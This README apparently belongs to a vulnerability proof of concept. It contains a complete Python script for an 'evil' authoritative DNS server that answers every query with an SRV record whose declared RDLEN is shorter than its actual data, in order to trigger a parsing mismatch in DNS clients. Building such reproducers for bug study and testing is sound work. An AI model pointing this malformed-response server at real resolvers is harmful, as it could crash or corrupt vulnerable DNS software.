README.md
Rendering markdown...
#!/usr/bin/env python3
"""Standalone evil authoritative nameserver (UDP) that returns a crafted SRV reply.
This server returns an SRV answer whose RDLEN field can be set smaller than
actual RDATA length to reproduce the rdlen/remaining-bytes mismatch.
Usage:
python3 evil_ns.py --host 127.0.0.1 --port 5354 --rdlen 6
The default crafted RDATA is: prio(0)/weight(0)/port(80) + pointer to question name
(actual RDATA length = 8). Set --rdlen to 6 to create a mismatch.
"""
import argparse
import socket
import struct
import sys
def parse_qname_end(buf: bytes, off: int) -> int:
"""Return offset just past the qname."""
while True:
if off >= len(buf):
return off
l = buf[off]
if l == 0:
return off + 1
if (l & 0xC0) == 0xC0:
return off + 2
off += 1 + l
def build_response(req: bytes, rdlen_override: int) -> bytes:
# DNS header: id, flags, qdcount, ancount, nscount, arcount
qid = req[:2]
flags = struct.pack(">H", 0x8180) # QR=1, standard response, RD/RA as-is
qdcount = struct.pack(">H", 1)
ancount = struct.pack(">H", 1)
nscount = arcount = struct.pack(">H", 0)
header = qid + flags + qdcount + ancount + nscount + arcount
# copy question section as-is
qend = parse_qname_end(req, 12)
question = req[12:qend + 4]
# Owner for answer: pointer to question name at offset 12
owner_ptr = b"\xC0\x0C"
# SRV RDATA: prio(2) weight(2) port(2) + target (compressed pointer)
rdata = struct.pack(">HHH", 0, 0, 80) + owner_ptr # actual length = 8
rdlen = int(rdlen_override)
answer = (
owner_ptr
+ struct.pack(">HHI", 33, 1, 60) # SRV (33), class IN, TTL
+ struct.pack(">H", rdlen)
+ rdata
)
return header + question + answer
def main():
ap = argparse.ArgumentParser(description="Evil authoritative UDP nameserver (SRV) for rdlen tests")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=5354)
ap.add_argument("--rdlen", type=int, default=6, help="Declared RDLEN (actual is 8)")
ap.add_argument("--debug", action="store_true")
args = ap.parse_args()
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
sock.bind((args.host, args.port))
except OSError as e:
print(f"[!] bind failed: {e}")
sys.exit(2)
print(f"[*] evil_ns listening on {args.host}:{args.port} (UDP) -- rdlen={args.rdlen}")
try:
while True:
data, addr = sock.recvfrom(4096)
if not data:
continue
if args.debug:
print(f"[>] Received {len(data)} bytes from {addr}")
try:
resp = build_response(data, args.rdlen)
except Exception as e:
if args.debug:
print(f"[!] build_response error: {e}")
continue
try:
sock.sendto(resp, addr)
if args.debug:
print(f"[<] Sent {len(resp)} bytes to {addr}")
except OSError:
pass
except KeyboardInterrupt:
print('\n[*] shutting down')
finally:
sock.close()
if __name__ == "__main__":
main()